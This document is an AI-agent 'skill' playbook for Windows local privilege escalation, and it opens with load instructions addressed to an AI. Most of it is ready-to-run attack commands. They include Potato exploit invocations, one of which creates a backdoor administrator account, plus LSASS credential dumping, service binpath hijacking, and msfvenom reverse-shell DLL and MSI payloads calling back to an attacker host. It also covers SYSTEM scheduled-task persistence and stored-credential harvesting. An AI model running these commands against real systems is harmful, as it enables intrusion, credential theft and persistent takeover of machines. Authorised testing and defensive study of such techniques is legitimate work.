Windows privilege escalation

SKILL: Windows Local Privilege Escalation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.

0. RELATED ROUTING

Before going deep, consider loading:

• windows-lateral-movement after escalation for pivoting to other hosts
• windows-av-evasion when AV/EDR blocks your privesc tools
• active-directory-kerberos-attacks when the host is domain-joined and you need AD-level escalation
• active-directory-acl-abuse for domain privilege escalation via ACL misconfigurations

Advanced Reference

Also load TOKEN_POTATO_TRICKS.md when you need:

• Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
• OS-version-specific exploit selection
• Required privileges and protocol details per variant

Also load UAC_BYPASS_METHODS.md when you need:

• UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
• Auto-elevate binary abuse
• Mock trusted directory tricks

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1. ENUMERATION CHECKLIST

System Context

whoami /all                        & REM Current user, groups, privileges
systeminfo                         & REM OS version, hotfixes, architecture
hostname                           & REM Machine name
net user %USERNAME%                & REM Group memberships

Token Privileges (Critical)

whoami /priv

Privilege	Escalation Path
SeImpersonatePrivilege	Potato family exploits (§2)
SeAssignPrimaryTokenPrivilege	Token manipulation, Potato variants
SeDebugPrivilege	Dump LSASS, inject into SYSTEM processes
SeBackupPrivilege	Read any file (SAM/SYSTEM/NTDS.dit)
SeRestorePrivilege	Write any file (DLL hijack, service binary)
SeTakeOwnershipPrivilege	Take ownership of any object
SeLoadDriverPrivilege	Load vulnerable kernel driver → kernel exploit

Services & Scheduled Tasks

sc query state= all                & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v        & REM Verbose scheduled task list

Installed Software & Patches

wmic product get name,version
wmic qfe list                      & REM Installed patches

Network & Credentials

netstat -ano                       & REM Listening ports + PIDs
cmdkey /list                       & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul

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2. TOKEN MANIPULATION & POTATO EXPLOITS

SeImpersonatePrivilege Abuse

Service accounts (IIS AppPool, MSSQL, etc.) typically hold SeImpersonatePrivilege. This enables impersonation of any token presented to you.

Tool	OS Support	Protocol	Notes
JuicyPotato	Win7–Server2016	COM/DCOM	Requires valid CLSID; patched on Server2019+
RoguePotato	Server2019+	OXID resolver redirect	Needs controlled machine on port 135
PrintSpoofer	Win10/Server2016-2019	Named pipe via Print Spooler	Simple, fast; Spooler must run
SweetPotato	Broad	COM + Print + EFS	Combines multiple techniques
GodPotato	Win8–Server2022	DCOM RPCSS	Works on latest patched systems

# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}

SeDebugPrivilege Abuse

# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp

# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe

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3. SERVICE MISCONFIGURATIONS

Unquoted Service Paths

# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

If path is C:\Program Files\My App\service.exe, Windows tries:

1. C:\Program.exe
2. C:\Program Files\My.exe
3. C:\Program Files\My App\service.exe

Place malicious binary at first writable location.

Weak Service Permissions

# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS

# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc

Writable Service Binaries

# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary

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4. DLL HIJACKING

DLL Search Order (Standard)

1. Directory of the executable
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. Current directory
6. Directories in %PATH%

Exploitation

# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll

# Place in writable directory that comes before the real DLL location

Known Phantom DLL Targets

Application	Missing DLL	Drop Location
Various .NET apps	profapi.dll	Application directory
Windows services	wlbsctrl.dll	%PATH% writable dir
Third-party updaters	VERSION.dll	Application directory

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5. ALWAYSINSTALLELEVATED

# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi

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6. SCHEDULED TASK ABUSE

# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"

# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"

# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected path

Scheduled Task via PowerShell

# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"

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7. REGISTRY AUTORUNS

# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula

If an autorun entry points to a writable path → replace binary or inject new entry.

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8. NAMED PIPE IMPERSONATION

# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated

# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exe

Custom named pipe server (requires SeImpersonatePrivilege):

# Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token

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9. AUTOMATED TOOLS

Tool	Purpose	Command
winPEAS	Comprehensive Windows enumeration	winPEASx64.exe
PowerUp	Service/DLL/registry misconfig checks	Invoke-AllChecks
Seatbelt	Security-focused host survey	Seatbelt.exe -group=all
SharpUp	C# port of PowerUp checks	SharpUp.exe audit
PrivescCheck	PowerShell privesc checker	Invoke-PrivescCheck
BeRoot	Common misconfig finder	beRoot.exe

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10. PRIVILEGE ESCALATION DECISION TREE

Low-privilege shell on Windows
│
├── whoami /priv → SeImpersonatePrivilege?
│   ├── Yes → Potato family (§2)
│   │   ├── Server2019+/Win11 → GodPotato or PrintSpoofer
│   │   ├── Server2016/Win10 → PrintSpoofer or SweetPotato
│   │   └── Older → JuicyPotato (need CLSID)
│   └── SeDebugPrivilege? → LSASS dump / process injection
│
├── Service misconfigurations?
│   ├── Unquoted path with spaces + writable dir? → binary plant (§3)
│   ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
│   └── Writable service binary? → replace executable (§3)
│
├── DLL hijacking opportunity?
│   ├── Missing DLL in search path? → plant malicious DLL (§4)
│   └── Writable directory in %PATH%? → DLL plant (§4)
│
├── AlwaysInstallElevated set?
│   └── Both HKLM+HKCU = 1 → MSI payload (§5)
│
├── Scheduled task abuse?
│   ├── Task runs as SYSTEM with writable binary? → replace (§6)
│   └── Task references missing binary? → plant binary (§6)
│
├── Registry autorun writable?
│   └── Writable binary path → replace on next login/reboot (§7)
│
├── UAC bypass needed? (medium integrity → high integrity)
│   └── Load UAC_BYPASS_METHODS.md
│
├── Stored credentials?
│   ├── cmdkey /list → runas /savecred
│   ├── Autologon in registry? → plaintext creds
│   └── WiFi passwords, browser creds, DPAPI
│
└── None of the above?
    ├── Run winPEAS for comprehensive scan
    ├── Check internal services (netstat -ano)
    ├── Look for sensitive files (unattend.xml, web.config, *.config)
    └── Check for kernel exploits (systeminfo → Windows Exploit Suggester)